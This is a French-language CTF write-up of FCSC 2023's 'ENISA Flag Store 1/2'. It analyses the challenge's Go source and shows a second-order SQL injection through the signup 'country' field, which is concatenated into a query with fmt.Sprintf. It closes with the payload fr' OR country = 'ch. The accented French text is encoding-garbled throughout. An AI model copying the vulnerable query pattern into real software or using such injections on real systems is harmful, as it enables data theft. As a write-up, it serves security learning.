Description
L’ENISA a dĂ©cidĂ© de mettre en place un nouveau service en ligne disponible Ă l’annĂ©e pour les Ă©quipes qui participent Ă l’ECSC. Ce service permet aux joueurs des diffĂ©rentes Ă©quipes nationales de se crĂ©er des comptes individuels en utilisant des tokens secrets par pays. Une fois le compte crĂ©Ă©, les joueurs peuvent voir les flags capturĂ©s dans diffĂ©rents CTF.
Les donnĂ©es personnelles des utilisateurs (mot de passe et pays) sont protĂ©gĂ©es dans la base de donnĂ©es, seuls les noms d’utilisateurs sont stockĂ©s en clair.
Le token pour la Team France est ohnah7bairahPh5oon7naqu1caib8euh
.
Pour cette première Ă©preuve, on vous met au dĂ©fi d’aller voler un flag FCSC{...}
Ă l’Ă©quipe suisse 🙂
https://enisa-flag-store.france-cybersecurity-challenge.fr/
RĂ©solution
On commence par se familiariser un peu avec l’interface web en se crĂ©ant un compte avec le token ohnah7bairahPh5oon7naqu1caib8euh :
Pour ce challenge le code go du site en question nous est donnĂ©. On comprend qu’il faut trouver dans le code une vulnĂ©rabilitĂ© nous permettant d’afficher les flags de l’Ă©quipe suisse.
DĂ©tection de l’injection SQL
On repère assez vite dans le code la possibilitĂ© d’une injection sql via le paramètre user.Country dans la fonction getData qui rĂ©cupère les flags :
func getData(user User) ([]Flag, error,) {
var flags []Flag
req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
FROM flags WHERE country = '%s';`, user.Country);
rows, err := db.Query(req);
....
/* display flags */
....
}
En effet, l’usage du %s n’est pas une bonne pratique puisque ce dernier est remplacĂ© par user.Country avant l’évaluation de la requĂŞte par le serveur de SQL. Ainsi si l’on contrĂ´le la valeur de user.Country nous pourrons complĂ©ter la requĂŞte SQL pour nous afficher les flags des autres pays.
Contrôle du paramètre user.Country
En regardant, le reste du code on constate que l’on peut contrĂ´ler la valeur de user.Country :
func endpoint_signup(w http.ResponseWriter, r *http.Request) {
....
....
username := r.FormValue("username")
password := r.FormValue("password")
token := r.FormValue("token")
country := r.FormValue("country")
if country == "" { /* error */ }
if CheckToken(country, token) == false { /* error */ }
err := RegisterLoginPassword(username, password, country)
....
....
}
func CheckToken(country string, token string) (bool,) {
stmt, err := db.Prepare(`SELECT id FROM country_tokens
WHERE country = SUBSTR($1, 1, 2)
AND token = encode(digest($2, 'sha1'), 'hex')`)
if err != nil {
log.Fatal(err)
}
t := &Token{}
err = stmt.QueryRow(country, token).Scan(&t.Id)
if err != nil {
return false
}
return true
}
En effet lorsque s’inscrit sur la plateforme, l’on doit renseigner un champ « country » dans le formulaire. Le traitement de ce formulaire se fait dans la fonction endpoint_signup qui elle mĂŞme fait appel Ă CheckToken pour vĂ©rifier que le pays choisi par l’utilisateur correspond bien au token renseignĂ©.
Ce qui est intĂ©ressant dans la fonction CheckToken c’est que seul les 2 premiers caractères de « country » sont utilisĂ©s pour retrouver le Token dans la base de donnĂ©es :
WHERE country = SUBSTR($1, 1, 2)
Ainsi l’on peut très bien crĂ©er un compte pour l’Ă©quipe france avec les identifiants suivants :
username = Lun
password = Lun
token = ohnah7bairahPh5oon7naqu1caib8euh
country = fr
ou avec ceux lĂ :
username = Lun
password = Lun
token = ohnah7bairahPh5oon7naqu1caib8euh
country = france is where i live
En effet dans les 2 cas , la chaîne commence par fr
, c’est donc des valeurs valides pour dĂ©signer l’Ă©quipe de France.
Persistence de country dans la BDD
En continuant l’interprĂ©tation du code on observe que mĂŞme si seul les 2 premiers caractères de « country » sont nĂ©cessaires Ă l’application, ce dernier va chiffrer l’entièretĂ© de la chaĂ®ne de caractères fournie pour ensuite la stoker dans la base de donnĂ©es :
func RegisterLoginPassword(username string, password string, country string) (error,) {
/* First check that user does not alreayd exist */
....
/* If not, then insert a new user */
country_enc := encrypt(country)
stmt, err = db.Prepare(`INSERT INTO users (username, password, country)
VALUES (
$1,
encode(digest($2, 'sha1'), 'hex'),
$3
)`)
....
}
Si l’entièretĂ© de la valeur de « country » est stockĂ©e en base donnĂ©es, l’on contrĂ´le par consĂ©quent la valeur de user.Country puisque cette dernière est rĂ©cupĂ©rĂ©e dans la base de donnĂ©es lors de la connexion de l’utilisateur.
func CheckLoginPassword(username string, password string) (*User,error,) {
stmt, err := db.Prepare(`SELECT id, username, country FROM users
WHERE username = $1
AND password = encode(digest($2, 'sha1'), 'hex')`)
....
u := &User{}
err = stmt.QueryRow(username, password).Scan(&u.Id, &u.Username, &u.Country)
valid, country_dec := decrypt(u.Country)
....
u.Country = country_dec
....
....
}
Exploitation
Une fois l’analyse de code terminĂ©e, l’exploitation via l’injection se fait assez facilement. La payload suivant nous permettra de rĂ©cupĂ©rer Ă©galement les flags de la suisse (ch
) :
fr' OR country = 'ch
La requête SQL résultante sera :
SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' OR country = 'ch';
1 reply on “ 🇫🇷 FCSC 2023 – ENISA Flag Store 1/2 – CTF Write up ”
Comments are closed.